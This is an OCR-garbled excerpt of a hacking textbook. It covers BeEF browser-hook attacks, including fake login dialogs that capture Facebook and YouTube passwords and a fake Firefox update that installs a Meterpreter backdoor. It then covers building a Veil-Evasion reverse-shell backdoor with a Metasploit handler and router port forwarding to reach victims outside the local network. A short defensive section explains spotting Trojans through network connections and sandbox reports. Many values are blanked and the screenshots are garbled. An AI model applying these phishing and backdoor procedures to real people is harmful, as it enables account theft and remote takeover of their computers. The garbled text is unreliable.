VTiger CRM Upioad Exploit
WAN Emulator Command E
Zenuss 3.5 Aud User CSRF
Zenoss 3x Command Exect
mondwall Reverse Rooi She
piSense Reverse Root Shel
Axous <= 1.1.1 Add User CZ
EXTRAnct Collaboration Tor
GlassFish WAR Upload xX5F
GroovyShell Server Comma Evacite

« I H

I 223

There are some modules that need some options to be set up, and
we'll have examples of them as well.

In the Social Engineering (21) option, we can show fake updates,
fake notification bars, and so on:
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4 — Social Engineering (21)
Clickjacking
Fake LastPass
Lcamtuf Download
@ Clippy
& Fake Flash Update
& Fake Motification Bar (Chrome)
 Fake Motification Bar (Firefox)
\ Fake Motification Bar (IE)
. Google Phishing
& Pretty Theft
& Replace Videos (Fake Plugin)
& Simple Hijacker
& TabMabbing
@ Fake Evernote Web Clipper Login
@ Firefox Extension (Bindshell)
& Firefox Extension (Dropper)
@ Firefox Extension (Reverse Shell)
@ HTA PowerShell
@ Sitekiosk Breakout
@ Steal Autocomplete
@ User Interface Abuse [IE 9/10)

Let's have an example of a very simple command. We're going to run
an alert to show an alert box. So, we are just using Search to filter,
and we can see that it will just create an alert dialog, and it's going to
say :
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Module Tree Module Results History Create Alert Dialog

alert i.. date label Description:  Sends an alert dialog to the hooked browser.

4 =5 Browser (1) e I 27
4 Hooked Domain (1) mod e list P Ty
& Create Alert Dialog % " . °9
4 =5 Phonegap (1)
Alert User

Execute

We can modify the alert and type to anything we want, for example,
change Alert text to , and then, when we hit the Execute button, in
the target browser, we will see a message saying test has been
injected into the target browser, as shown in the following screenshot:

The page at hitp:/is.effectivemeasure.net says:

test

Another interesting thing that we can do is the raw JavaScript. It will
allow us to execute any JavaScript we want. So, again, we search
Google for a useful JavaScript code, such as a keylogger, or we can
write our own script if we know JavaScript, and whatever we write will
be executed on the target. Again, we're going to pop in an alert, and it
is going to return , and hit the Execute button:
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Madule Tree Madule Results History Create Alert Malog
alert i... date label Descripion.  Sends an alen dialog 10 e hooked DIowser.

4 ) Browser (1) i _: ram a: 27
4 Hooked Domain (1)
@ Create Alert Dialog
4 ] Phonegap (1)
Mert User

Alert text: BcEF Alert Dialog

Execute

It will give us a dialog saying BeEF Raw JavaScript, just like we got
in the previous example:

The page at http:/is.effectivemeasure.net says:

BeEF Raw Javascript

Now, let's see whether we can get a screenshot of the target
computer. For this, we're going to use a plugin called Spyder Eye. So,
again, click on the plugin, hit Execute, give it a second, then we're
going to click on command 4 in the Module Results History tab:

T.me/nettrain



Module Results History Command results %

id .« | date label 1 Mon Jul 23 2018 10:33:31 GMT-0400 (EDT) 2
0 2018-07-2309:53 command 1
1 2018-07-23 10:29 command 2 ]

myvsie WEB HOS
2 2018-07-23 10030  command 3 - S
3 2018-07-23 10:33  command 4

w Choose a Website Pac

= E
rree” h & & |

As low as 5900 fmio. As

Want a website but don't want to pay for Pe
hosfing? Then this is the nght hosting package We
for you.

Ads on your site

50 MB disk space
*With purchase of a domain, prices start at
2285

Learmn more | Compare packages

r W

w
Re-execute command +

The preceding image shows us a screenshot of what the target
person is looking at. Another really good plugin is a Redirect
Browser plugin. It will allow us to redirect the browser to any web
page we want. This could be very useful because we can use it to
redirect the target person and tell them that they need to download an
update, and instead of giving them an update, we give them a
backdoor. We can redirect them to a fake login page for Facebook we
can do anything we want with the Redirect Browser plugin. We can
set the website that we want the target to be redirected to. We're
going to redirect them to

redirected to URL textbox: in this example, and once we hit Execute,
the target is

or to any specific link mentioned in the Redirect
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Module Tree Module Results History Redirect Browser

redl L labed Descripion:  This module will redirect the selected hooked browser to the address specified in the "Redirect URL'
4 5 Browser @ o ZNMBOL730947  command 1 nput
4 3 Hooked Domain {3) i &
& Redirect Browser

& Redect Biowser (Rickn RedreciURL:  hitp:iheefprojectcom/
@ Redirect Browser (Fram

4 () Debug (10
Test HTTP Redirect

455 IPRC (1)
Redis

« I .
These are some of the basic modules that we can use.

BeEF Pretty Theft

Now let's have a look at a Social Engineering plugin that will allow
us to steal usernames and passwords from accounts. Basically, it will
dim the screen and will tell the person that they got logged out of the
session so they need to log in again to get authenticated. This will
allow us to bypass HTTPS, HSTS, and all the security that's used by
the target account page. For example, if we are trying to get
usernames and passwords for Facebook, we will be able to bypass
all the security that Facebook uses, because we are just showing a
fake Facebook page, so the user will never actually make contact
with Facebook. Let's click on Pretty Theft, which will open the tab:
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Commands Heider NeaHAys I Nehunrk WehH 1L

Module Tree Maodule Resulis History Pretty Thett

prett i... dote label DresCription: Asks Ihe user Inr el ESAMMAMS And DASSWONT 11INg A Boatng s
# (= Sucial Engineeting (1) 0 2018-0... conmma..
& Prety Thett o550 i n
Drakog Tywe.  Facebook v
Backing: Giey -

Custom Loge  htip:40,0.0.0:3000/uiimediaimage sbeefpng
{I>enenc only )

In the preceding screenshot, we can click which account we want to
hijack. Let's say we're going with Facebook. \We can select what the
Backlight will be, so we're just leaving that as Grey, and then we hit
Execute.

When we go to our target, we can see that they're being told that they
got logged out of their session so they need to log in with their
username and password:

Enter the username as user, then we are going to put our password as
, and hit Log in.

If we go back to the Terminal, we can see that we got our username
as user and the password as 12345:

Module Tree Module Results History Command results
i.. date label -
e data: answer=zaid: 12345
4 ] Social Engineering (1) 0 2018-0.. comma..
& Pretty Theft i
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We can use this to hijack a number of accounts. Let's look at another
example. If we go with YouTube, we give it an Execute:

Module Tree Module Results History Pretty Theft
prett i... date label Description:  Asks the user for their username and password using & floating div.
4 =7 Social Engineering (1) 0 2018-0.. comma...
& Pretty Theft 09:59 1 Id: 71
Dialg Type: | YouTube ¥
Backing: Grey b

Custom Lego  hitp:/0.0.0.0:3000/uifmediafimages/beef.png
[Generic only):

At the target screen, we see the YouTube logo and we can try to log
in. Put in a Username and Password, click Sign In, and the
credentials will be captured:

Session Timed Out = e

Your gesgion has fimed out due to inactvity.

Please re-enfer your username and password fo login.

Username:

Password:

So, again, this is a really good way to gain access to accounts
because, even if the user is not planning on logging into the account
that we are trying to steal, we will kind of force them to enter their
username and password to be logged back into their account, and
then we will be able to capture the username and password.

BeEF Meterpreter 1

In this section, we are going to see how we can gain full control and
get a Meterpreter session from the target computer. So, again, go to
the Commands tab, and then Social Engineering. There are a
number of ways that we can get a reverse shell. Now, it all depends
on how we want to perform our social-engineering attack. We're
going to use a notification bar, Fake Notification Bar (Firefox) we're
choosing Firefox because our target runs a Firefox browser:
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Details Logs Commands Rider XssRays Ipec Network WebRTC
Module Tree Mudule Results History Fake Notification Bar (Firefox)

Scarct id... date label Description:  Displays a fake notification bar at the top of the screen, similar to those
] Browser (53) - i i gres-emed in ﬁn_afp». Infge user clil:ks_'lhe notification they will be prompted to
The recults from executed command ownload a malicious Fircfox catension (by default),
JCRrme ExIensions () nodules will be listed hera
1 Debug (9) Id: 57
| Exploits (78)
1 HusL(22) Plugin LIRL: hittp:/f0.0.0.0:3000¢apifipec/ff extension
JIPEC (9) Notiicalon | an additional plug-in is required to display so
I Metaspinl (1) lext:
~IMisc (16)
] Metwork (19)
__| Persistence (3)
__|Phonegap (16)
4 9 Social Engineering (71)
Clickjacking
Fake LastPass
Leamiul Dowiload
@ Clippy
@ Fake Flash Update
& Fake MNotification Bar (Chi
W Fake Wotification Bar (Fi
& Fake Notification Bar (IE)
& Google Phishing
@ Premy Theft
& Replace Videos (Fake Pl
& Simple Hijacker
& TabNabbing
@ Fake Evemnote Weab Clipp
@ Fireiny Fxwension (Rindsh
@ Firefox Cxtension (Droppe
@ Firetox Extension (Revers

. HTA PuwerShell B Execute
< >

Basically, it will display a notification bar telling the user that there is a
new update or a plugin that they need to install. Once they install the
plugin, they'll actually install a backdoor and we will gain full access to
their computer. We'll implement it by using the same backdoor that
we created and have been using throughout this book. We have
stored the backdoor in our web server in and named it , but it's the
same backdoor, the same reverse-HT TP Meterpreter that we used
before. Provide the full address of the backdoor inside the Plugin
URL textbox, which is , change the Notification text to

, as shown in the following screenshot, and hit the Execute button:
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Fake Motification Bar (Firefox)

Description:  Displays a fake notification bar at the top of the screen, similar to those
presented in Firefox. If the user clicks the notification they will be prompted to
download a malicious Firefox extension (by default).

Id: AT

Plugin URL: | http://10.0.2.15/update. exe

Notification Critical update for Firefax, click here to insta

text: At the
target, we can see that they're getting a message telling them that
there is a new update for Firefox:

& C o @ 10.02.15

% Critical update for Firefox, click here to install | Install plug-in..

Once the target downloads and installs it, they'll have a backdoor
downloaded onto their machine. Once they try to run this backdoor to
install the update, they'll actually run a backdoor that will give us full
access to their computer. Before we run the backdoor, we need to
listen on the port, exactly as we did before. Open a Terminal and run

. Use the Metasploit multi-handler, the same way we've done
throughout this book to listen on ports. Use , we have our IP and the
port. So, we are just going to run , and we are listening for the
connections now. Let's run the update we just downloaded. If we go
on the target, we will see that we got full control over it using a
Meterpreter session.

Again, this is just an example of one way of gaining full control over
the target computer. There are a number of ways that we can do this
using BeEF, and there are many social engineering attacks that we
can do to gain full access to the target computer. It's highly
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recommended to go over the plugins, experiment with them, and see
what attacks can be performed.

Detecting Trojans manually

The Trojans we've created so far are amazing; they can bypass
antivirus programs they run two pieces of code, the first one runs in
the background, which runs our own code and does what we want it
to do, such as opening a port or connecting back to us and giving us
a shell, and it runs another piece of code that the user expects. It
could display an image, play an MP3, or display a PDF file. This
functionality makes it very difficult to detect, so the best thing to do is
to check the properties of the file and make sure that it is what it's
claiming to be. In the following screenshot, we have a Packt image
and we can see that it's a, so it looks like a picture, it has an icon,
and if we run it we will get a picture, like we saw in

, Client-Side Attacks - Social Engineering:

Right-click on it and go to Properties. \When we go to Properties, we
will see that this is an application, not a picture:

The same goes for PDFs and MP3s; it should say MP3 if it's an MP3,
it should say PDF if it's a PDF, and it should say if it's a . But in this
case, it's telling us that it's an executable. Going through the Details,
we will see that it is an application and not a picture if it was a picture,
it would tell us that it was a picture:
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= ImageseitreporP exejpg x

General Compatibilty Securty Detals  Previous Versions

Property Value
Description
File description
Type Application
File version 0.000
Product name
Product version
Size 874 KB
Date modified  7/24/2018 2:51 AM
Language English {United Kingdom)

Remove Properies and Personal Information

[ ok ][ cacel | [ Aucl

From this, we'll know that we're being tricked. We can also play with
the flename and we will be able to reset it; if we rename the file to
anything else, we will see that it's an file and not a

test.exe:

. If we change it to test, we will see that the name has been changed
to

Packt

test.exe
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Now, let's assume this Trojan was combined with an executable. If we
run it, we expect to get and an application. Let's assume that it's
combined with Download Accelerator Plus software, instead of being
combined with a picture. This task is going to be more difficult
because we are expecting an application anyway. With the picture
and with the PDF, Windows will tell us that we are trying to run an
executable, but if we are expecting an executable, then we are going
to run it anyway, such as with DAP. It will play the executable we are
looking for and the executable will send a reverse session to Kali.

Go to a tool called Resource Monitor, and from that tool, go to the
Network tab. There, we will be able to see all the open ports on our
machine:

(%) Resource Manitar Ll X
File  Momtor  Help
Ovendiew CPU Memory Disk MNetwark

[ image PID: Send (B/sec)  Recelve (Brsed Total [B/seq) G ) Views |+
[ browser.exe BBt 8 5% 152 7
LI swehasl.exe fretsues -p) 2564 ? 4 &
[T1 svenost.exe INetworksenace., 1604 1 2 3
60 Seconds 0
TCP Cannections 10
MNetwork Activity B U kops Network /0 B % Metwork Utilzation v
TCP Connections Lt
Iimage FiD Local Addrass Local Fort Femote Addr Remote Port Facket Loss 55 Late‘nql fms)
svehost.exe [netsves -pl 2564 10.0.2.5 45825 52.230.7.59 443 1] 154
Winstore App._exe 2600 10025 49828 23.56.28.142 243 o 57 Eth 100%
WinStore.App.cae 2600 10.0.2.5 45829 23.56.28.142 43 0 52 tnemet 1
browser.exe 6388 10.0.2.5 49933 10.0.2.15 8080 o 1
WinStorc.App.cxac 2600 10.0.2.5 43831 23.56.28.142 443 o 0
Winstore App_exe 2600 10025 49830 23.56.28. 142 443 -
Searchll exe 5320 10.0.2.5 45802 T2.247.228186 443
Listening Ports Al
lmage PiD Ardchess Puasrt Prolaced Fivewrall Slalus £
sshd.exg 3368 IFve unspeatied 22 L= Allowed, NOL M.
sshd.exe B IPvd unspecified 2z TP Allowred, not r..,
cvchost.exe [FPCSS -pj 8r2 IFve unspeatied 135 P Allowed, restn...
swchost.exe [RPCSS -p) or2 P4 unspecfied 135 TCP Alloweed, restri...
System 4 10025 137 uor Allowied, restr..,
System 4 10.0.2.5 130 uor Allowed, restri...
System 4 QLTS Y 139 e Allowed, restn.., -

We can see that we have port 8080 and it's connecting to the
10.0.2.15 IP address. Obviously port 8080 is not very suspicious,
even if it was on port , it wouldn't look suspicious, and also, it's
coming from a process called browser.exe, which is not very

T.me/nettrain



suspicious either. The suspicious part is the remote address; it's
accessing 10.0.2.15 and we don't know what that is. If it was a
website, putting the IP in the browser should take us to a website or
to a server of that website. In most cases, if this is a hacker computer,
it will not take us to a website, and then we will know that this person
is an attacker.

To verify the attack, we can use a tool called Reverse DNS Lookup. It
gives us an IP and tells us which website this IP belongs to, or which
domain this IP belongs to. Let's look at an example on Facebook.
Let's say we saw a suspicious-looking IP in our Resource Manager.
We are actually going to get a proper IP address for Facebook by

pinging:

C:\Users\IEUser>ping www.tacebook.com

Pinging star-z-mini. EoFaE c.com [157.248.7 ] with 32 bytes of data:

Reply om 157.248
Reply from 157.248@
Reply from 157.248
Reply from 157.248.

ics for 157.246

Sent = 4,

round trip times
= 63ms, Maximum

We have seen the IP; there is a connection on port going to this IP.
Copy this IP and use Google to search for, open the first site, paste
the IP, and click Reverse Lookup. We can see the IP that we saw in
our resources:

SuperTool Beta?

157.240.7.38)

|l
ptr:157.240.7.38 R GEECLE0 23 pir
Type IP Address Domain Name TTL
PTR 157.240.7.38 edge-star-z-mini-sh-01-sink facebook.com 60 min
Facebook, Inc [AS32034
Test Result
& DMS Record Published DMSE Record found
blacklist subnet tool dns propagation
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If it's for a proper website, then there is nothing to be concerned
about; if it looks suspicious, then we will know that this is going to a
suspicious person. Now, as we can see in the preceding screenshot,
it's going to Facebook and we are browsing Facebook this is normal,
we are using Facebook so there's a connection between us and
Facebook.

Detecting Trojans using a sandbox

Now we are going to look at another way to discover malicious files,
by using a sandbox. A sandbox is basically a place where our file will
be executed and analyzed. It will check whether any ports will be
opened, if it's going to modify registry entries basically, if it's going to
do any suspicious stuff. It's not an antivirus program. Our Trojan
might pass antivirus programs, our Trojan passed all antivirus
programs, but the sandbox applications, or the sandbox
environments, will run it in a controlled environment, see whether it
does anything suspicious, and give us a report. We can Google
online, and an example of it is a website called Hybrid Analysis ().

Using the website is very simple: just go to the URL, select a file, and
upload it. We can see the report in the following screenshaot;
analyzing the file and generating the report might take some time:
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EYPAYLOAR  Arone

= submisions « 3 Contact W AL

backdoor exe

Incident Response

@ Risk Assessment

Remote Access  Uses netwark protocols on unusual ports
Fingerprint  Heads the active computer namse

HNetwork Behavior  Contacts 1 host. View the network section for marne details.
Indicators
O Mot al malicious and suspicious indicators are displayed, Got your own cloud sanvice or the

Malicious Indicators

Hiding 2 Malicious Indicators

Suspicious Indicators

Anti-Detection/Stealthynesc

Sets the process emor mode to suppress émor bow

reion o view all detads

Once we get the report, we will see some basic information; we will
see that Malicious Indicators have been found. They're hiding it
from us and we have to use the full version to see them, but we don't
really need to see them; if we read the whole report, we will know that
this file is malicious and it's going to do something bad on our
computer. We can see that the file suppresses error boxes, so it

doesn't display error boxes:

Suspicious Indicators

Anti-Detection/Stealthyness

Sets the process error mode to suppress error box

details “slnpaut fh‘ll‘l‘lp'l"""' et it ervor meede 10 SEM_MNOOPENFILEERREORBON

source AP Call

relevance B/10

It also modifies the registry,

and we can see the registry parameters in the following screenshot:
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Installation/Persistance

Monitors specific registry key for changes
details “dnput Sampler” monitors "\REGISTRYWMACHINE\SOFTWARE\Microsoft\Tracing\RASAPI3Z" (Filter: 14)
“tlngut Sarnples” mnnil:nu.'"\REGISTFH"\MEHINE‘\,S‘f'STEH‘._Cnnlrul5¢!CID1'\s.¢rw:¢s\.'u"..'|n’Su:kZ\._P.trzmemrs\._Prolocd_Earalngﬁ"IfF|l'|¢f: ]
“dingut Sample:” monitors "REGISTRYWMACHINENSYSTEM\ContralSet 00 sendoes\WinSock 2\ Parameters' NameSpace_Catalogs” (Filter: 1)
“einput Sample:” monitors "\REGISTRYWMACHIMNESOFTWAREMicresoft\Tracing \RASMANCS™ [Filter: 14)
“cingut Samples” monitors “HEKCUASoftware\Microsoft \windows\CurrentVersioninternet Settings\Connections” [Filter: 4: Subtree: 1)
“cingut Sampley” monitoes "REGISTRYWMACHINE, SOFTWARE Micrasoft \Windows\ CurrentVersionnternet Settings\Connectiors”™ (Filter: 4; Subtree: 1)
“dinput Samples” monitors "\REGISTRYWMACHINESOFTWARE Policies\Microsoft\Windowsh\ Currentversion\Internet Settings” {Filter: 4: Subtree: 1)
source AP Call

relevance 4510

We can see, in the preceding screenshot, that it's playing with the
Internet Settings and with the Connections. We can also see that
it's using the Windows Sockets service, that is, WinSock2, so it's
trying to create connections. We can also see that it's playing with the
address of the process:

Unusual Characteristics

Iyt boouacn /b e nanning e "
details st Sermpder” wiott byte 0858496 W virtual address “CaBATFLAFCT [part of rreivie "CLA DAL

“iinput Sample:” wrots bytes “do4dbS6c 00000000 to virtwal address “CuB13E20:00" (part of madule “4610 T07SF 30PN CECBOABLED BALIBEEDDES EXE
“ngut Sameles” wrote bytes "V1e6 04777958 09 TTbe 71007 Td6 1409771 4a 10477052208 T Toee J04TIEILIDATTEE4 1DTTIO0S 00770000 ThETSEb LS TEbEAILETS 10 virtual adcess "OT4EAI000" fpart of maduls "W
HICPPDLLT)
gt Sdmpler e A0S 30T, NELAUE I e SUYr TUCOO0UUTT A i IPUOUUCD IS BO000RC0D
#4Bd1IT500000000f0eds HOOO0O00D" 1o virual address "On7 SO0 (parnt of module "HS1DLL)
“udngut Sampler” wrote bytes TTIROSTTI0aB 05T TocT 00 TR0 1009 TTde 204 T7052097 78 480 BITE TN 1T Thee BOATTEIRIGITTLR10TTIOOS00 T5biAlb to virteal address "OnT4BCID0D" (p

et ol e “WEHIDA DL
sauece Mook Deterton
relevance W00

If we scroll down, we will see one of the most important indicators.
There will be more information in the following screenshot on
Network Analysis. It tries to connect to Host Address on Host Port

Network Analysis
DNS Requests

Mo relevant DNS requests were made

Contacted Hosts

Hast Address Host Port Host Pratocol Host Details

10.20.14.203 BOEO P Reserved

We can go on the IP and do a reverse DNS lookup to check whether
the IP is related to a website. Also, when we upload the payload, it's
never going to be executed on our computer, it's going to be executed
on their server in a sandbox environment. Now, obviously, for the
method we have seen, we should always use it in a VirtualBox when
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we are executing it on Windows. Always perform it on a virtual
machine; don't perform it on our main machine. Or we can upload it
into a sandbox environment, it'll be analyzed for us, and then we can
read the report.

Summary

In this chapter, we studied a tool called BeEF and hooked it using
MITMf. Then, by redirecting the user, we captured their credentials by
saying they had been logged out and asked them to re-enter their
username and password. Finally, we gained access to the
Meterpreter session and also learned how we can detect Trojans both
manually and by using a sandbox.

In the next chapter, we are going to look at performing attacks on an
external network.
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15

Attacks Outside the Local Network

This chapter mainly focuses on implementing attacks on the external
network. For that, we need to know what port forwarding is, so in this
chapter, we are going to get an idea of what we need to do to access
the victim's machine through the router. Until now, we have been
focusing on internal backdoors; now we are going to look at external
backdoors. We will then look at the concept of IP forwarding, which
plays another important part in attacking from outside the local
network. We are also going to look at examples to gain a clear
understanding of this concept, wherein we will hook our system to the
external BeEF browser.

In this chapter, we will be covering the following topics:

Port forwarding
External backdoors
IP forwarding
External BeEF

Port forwarding

So far, we have learned about a number of methods to gain full
control over computers. We have seen how to do this using server-
side attacks, client-side attacks, and social engineering as well. All of
the attacks that we've done so far have been inside the network, and
we've chosen to do that for convenience. That doesn't mean that
these attacks only work inside the network; in fact, all of these attacks
work outside the network as well. The only thing is that we need to
configure our network in a way that allows incoming connections from
the internet from outside our local network. We can use BeEF, we can
use the backdoors, and we can also use server-side attacks all the
attacks that we have done so far, except for the special cases. The
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only thing that we want to keep in mind is that we want to configure
the router to handle reverse connections properly, and direct them to
the Kali machine. Now we will be focusing on that aspect and seeing
how it would work and how to configure the router to achieve that.

Firstly, let's learn how to set up a default network. We've seen a
similar diagram to the following in , Pre-Connection Attacks, and in
the following diagram, we can see that we have the ROUTER, we
have the CLIENTS that are connected to the ROUTER, and then we
have the ROUTER that is connected to the INTERNET:

DEFAULT NETWORK CLIENTS

SETUP B
192.168.0.11

@]192.158.(}.12
? ( IDIDC]) E
INTERNET ROUTER/GATEWAY

192.168.0.13

192.168.0.1

We mentioned before that none of the CLIENTS (all devices inside
the network), don't have an internet connection; they can only access
the INTERNET through the ROUTER. Whenever they want to
request something, or they want to go to a website for example, if
they want to go to Google the device would send a request to the
ROUTER, then the ROUTER would go to the INTERNET, which is
going to receive Google.com, and the response would be sent back
to the ROUTER, then the ROUTER would forward that response to
the device that requested it.

So, inside the network, each device has its own private IP. We can
see in the preceding diagram that there are some IPs are written in
red, and these only exist within the network; that's why we call them
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private IPs, because outside the network these IPs are not visible.
Once we are in, we can see that the router has two IPs: it has a
private IP in red, which is accessible by all the devices in the network
and is only used inside the network; and it also has a public IP, which
is in green, and is accessible through the INTERNET. The IP that is
highlighted in green is the IP that Google sees. If we actually go to
Google, or to any other website, they see an IP address but they
won't see our private IP address; they'll actually see the IP address of
the ROUTER because the ROUTER is the device that's actually
making the requests, not the machine. All the requests made by
these devices on the same network will all appear as if they're coming
from the same machine, or from the same IP. Again, this is because
the only device that has access to the INTERNET is the ROUTER,;
none of the other devices do.

In most cases, or, if we think about it, in all the attacks that we do, the
main thing we want is to get a reverse connection. Even when we're
using the BeEF browser, we actually get a connection on port , which
is the port that the BeEF is working on, and when we're using our
backdoors, we actually receive a connection on the port that we
specify when we make the backdoor. When we want to send that
backdoor to somewhere outside our network, the first thing we have
to keep in mind is that our local IP is not going to be visible. What we
have to do is use the public IP, the IP of the router. To know the
router's IP, we just have to go on Google, and then type in in the
search bar. Google will return the IP address of the router, and that IP
will be the same from all the machines in the same network.

Now, we are connected through a wireless card. When we launch the
command, we will see that we are not using a NAT connection, we
are using an external wireless card that's connected to the home
network. Therefore, all the devices in our wireless network at home
will have the same IP. Again, that's because they all use the same
router, so they're all connected to the same network. We will be using
this IP in our backdoor, we're going to send the backdoor to a person
that exists on the internet, that person is going to run that backdoor,
and that backdoor is going to use a reverse connection. It's then
going to try to connect back to the router on port , for example, if we
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chose that port in the backdoor. Once the router gets a request for
port , it won't know what to do with it, because the router is not
listening to port , and this request will not tell the router where it wants
to go. All we need to do is configure the router to tell it that we want to
forward the port

to the Kali machine whenever we get a request from it. We are just
using as an example, but we can do it for any port that we are
listening on, whether it's , , or

for BeEF.

The main idea is that we want to use our real IP outside the network.
Whenever we run any attack in previous chapters and even in future
chapters, if we want to run that attack on the internet, on someone
who doesn't exist on our home network, then we first of all make sure
we use the public IP, and also make sure we configure the router to
forward requests on the port that we're listening to on the Kali
machine. We're going to see how to do that in the next section of the
chapter.

External backdoors

In this part, we are going to study how to create a backdoor. The only
difference is that we're going to set the IP to the public IP instead of
the local IP, and we're going to create a backdoor exactly the same
way that we used to create it when we were hacking devices in the
same network. For this, we are going to use Veil-Evasion, and we
are going to do the same steps used in, Client-Side Attacks. We can
use the command to see what options we have we are going to use
number , it's the exact same payload that we used in our previous
example in , Client-Side Attacks, the

payload. We're going to use command , and we can see the options
by using the command. As shown in the following screenshot, we can
see that the is set to by default, and we will keep that the same:

The only thing that we are going to change is the , and in the previous
sections when we were receiving connections on our own computer
we used to set it to the local IP , because that's the IP that the
devices use inside the network; but whenever we want to do things
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on the outside the network, we want to use the real IP, because these
internal IPs are not visible to computers outside the network.

Now, we are going to use the IP that we see on Google, so when we
type in in Google search, we will get the IP as ; we're going to use
that as the in our backdoor, and we are going to launch the following
command: setL+ost ss.100.145.189

Then, to make sure everything is set up properly, use the command.
Once we launch the command, we will see that the port is and we're
using the public IP

This is the most important step, and then we're going to use the
command to generate the backdoor like we did in previous chapters,
and we're just going to name the backdoor . Hit Enter, and that will
generate our payload for us. The path of the payload can be seen in
the following screenshot:

to: fvar/lib/veil-evasion/output/compiled/backdoor.exe

[*] Your payload fTiles have been generated, don 't get
[!]I And don't submit samples to any online scanner! ;)

[>] v key main 'OFJ.I

As usual, we are going to copy the backdoor in our Apache server
directory using the following command:

cp /var/lib/veil-evasion/ouput/complied/backdoor.exe /var/www/html

. | B re SS any Key To return to the

We will also see how to download this backdoor from the internet
from outside the network. Now all we have to do is listen for incoming
connections using the multi-handler, we've done that before again in
Client-Side Attacks. While we are going to listen to the multi-handler
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we are going to listen on our local IP, so we are not going to listen on
the external/global IP, we are going to listen on the local because we
can't listen on the external, we are in the network and we only have
control over current Kali machine. In the Kali machine we will be
listening on port , and in the external device the backdoor will try to
connect to the backdoor, the step after that will be we'll set up IP
forwarding to allow router to forward port to the Kali machine. But first
we need to listen on port in the Kali machine, and we're going to do
that using the multi/handler using the following steps:

1. Open Metasploit Framework using the command. 2. We are going
to use , using the following command: use expioitmutimandier

3. Set the payload to :

set PAYLOAD windows/meterpreter/reverse_http

4. Next, we're going to set the to :

set LPORT 8080

5. Set the , the listening host, to our private IP. We are going to do set
LHOST to . The command is as follows:

set LHOST 192.168.0.11

6. Now we are going to run to make sure everything is done properly.
We can see in the following screenshot that the is set to , and the
local host is set to , and we're using a payload of
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7. Start by running the command. As we can see in the following
screenshot, is ready on our private IP, and it's listening for
connections on port :

So far, we did the two main steps: we created a backdoor, and the
backdoor will give us connections back based on the real IP address;
and we're listening on port in our local machine, the Kali machine.
When the target person executes the backdoor on the internet, the
backdoor will try to connect to IP on port . The only problem now is
the gateway, which is the router; it doesn't have port open, when it
receives the connection, it's not going to know what to do with it. We
need to configure the router to tell it that whenever we get a
connection on port , we want it to be redirected to our Kali machine.
We can do that in two ways, and we're going to talk about them in the
next forthcoming sections.

IP forwarding

Now, in this part, we'll learn how to configure the router so that it
forwards incoming connections to the Kali machine. This will mean
we can receive reverse connections, we can hook people to the
BeEF browser, and launch attacks outside the network the same way
that we used to launch them inside the network. To get to the router
settings, usually the routers IP is the first IP in the subnet, our IP was
, usually, the router is the first one, so it will be . Also, another way to
getitis to type in

command, and that will show us where the gateway is. As we can
see in the following screenshot, the gateway is at . The following is
the local IP address of the router:

We're going to browse the IP in our browser. To do so, just type the
address in the address bar and hit Enter, and as we can see in the
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following screenshot, we have our router settings, and we have to log
in with the username and password:

Language: | Englis! b |
L
i

STATUS BASIC  ADVAMCED WIRELESS  SYSTEM

Lisername

Password

Now, the router settings might look different from router to router, but
the names are usually the same. First of all, we will usually have to
log in, and we either have a default username and password, or we
will see them on a sticker behind or underneath the router itself. Once
we are logged in we can see the control panel, and again it might
look different for everyone, but we want to look for something called
IP forwarding. For some, it's under the ADVANCED option. Go to
ADVANCED, and then to FORWARDING, and as we can see in the
following screenshot we can set up our IP forwarding:

Look for something called IP forwarding; we have actually seen them
on some routers called virtual network , but we want to look for
something that allows us to set up rules to redirect ports inside the
network. The port that we're listening on is port , so that's the port that
we picked in the handler, that's the port that we picked in the
backdoor, and that's the port that we want to get the connection on.
Therefore, the public port is going to be

, and again the target port is , and the target IP address is the IP
address that's listening on the port, so this is the IP address of the
Kali machine where we have our handlers running. Therefore the IP
address of our Kali machine right here is
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, and we can even cross-check it from the result of the command. We
are going to enter the returned IP from command in the Target IP
Address textbox in our router settings that's the rule that we want to
add:

Pubilic Port Range Targel IP Address Targe! Port Range Protocol Delete

Add row

Click on Save, and the rule will be saved, whenever the router gets a
request for port , it will know that it's going to forward that request to
the Kali machine and the router will not cut the connection.

Hence, we've set up a proper route now. The first thing we did is we
created a backdoor, we used the real IP in the backdoor, we didn't
use the private IP, so we didn't use the

, we used the real IP. We're going to send that backdoor to a device
in a different network. That device is going to run the backdoor, the
backdoor will try to connect back on the real IP to the router, but the
router will know exactly what to do with this, because we just set up a
rule telling the router to forward any request that it gets on port to the
Kali machine. We actually want to set up a rule for port ; this is the
port that the Apache server runs on, and we want to enable that so
that we can download the backdoor from the target computer. We are
going to add a rule for port going to be the same machine, the Kali
machine. We're going enter port to save this rule:

, and again this is

and we're going
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Public Port Range Target IP Address Target Port Range Protocol Delete

Add row

This will allow us to download the backdoor because we placed the
backdoor in the directory, meaning we are actually going to be able to
access our web server in Kali and download the backdoor from
outside the internet.

Now start our Apache web server and go to a Windows machine, and
that Windows machine is going to be connected to a completely
different network, and we're going to download the file from there. If
we go and check our IP, we will see it has a different external public
IP. So, we are just going to look for what our IP is on Google. The IP
is

, Which is completely different to the IP of the Kali machine that we
used. These are two completely separate devices connected to
different networks, and now we are going to access our Apache web
server and download the backdoor, and normally without IP
forwarding we wouldn't be able to do that. First, to access the
backdoor, we are going to get the IP of the Kali machine. We called
our backdoor , therefore we are just going to open a browser on the
Windows machine and, inside the URL bar, enter . After hitting Enter,
we will be able to download the backdoor, and this actually tells us
that IP forwarding has been set up correctly, because without that, we
wouldn't be able to access our web server and download the
backdoor, so we are actually accessing the web server in Kali as if it's
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a normal website, like we can actually host fake web pages, we can
host websites, anything we want right now on our Apache server.

Now we are going to run the backdoor on a Windows machine, and
we'll see if that'll give us a reverse connection on our Kali machine,
which is on a completely different network. As we can see in the
following screenshot, we got a reverse Meterpreter shell, and that
shell is coming from an external IP address into our internal IP
address to the Kali machine, and right now we can control the target
computer and do all the attacks that we did in the postconnection
attacks:

External BeEF

Now lets look at another example on hooking people to the BeEF
when they exist outside our network. So again, we're going to have
the example against the same Windows machine that's in a
completely different network, and we'll see how we can hook that
machine to the BeEF. We're going to start the BeEF browser with just
one click on the BeEF framework icon. We will go to log in with the
username , and password is as well. Now, we're going to use the
same basic method that we did before in

, Client-Side Attacks - Social Engineering, so in that method we need
to get the script code, and we did this before - it has the same
procedure, and we placed the script in our Apache web server, we
placed it in an HTML page, which was in the Apache web home

directory. We are going to open the file and then open the text editor,
and paste the code inside , which we got from the BeEF Terminal.
The only thing that we want to change all instances where we used to
use our normal IP with our external IP so that people, when they try
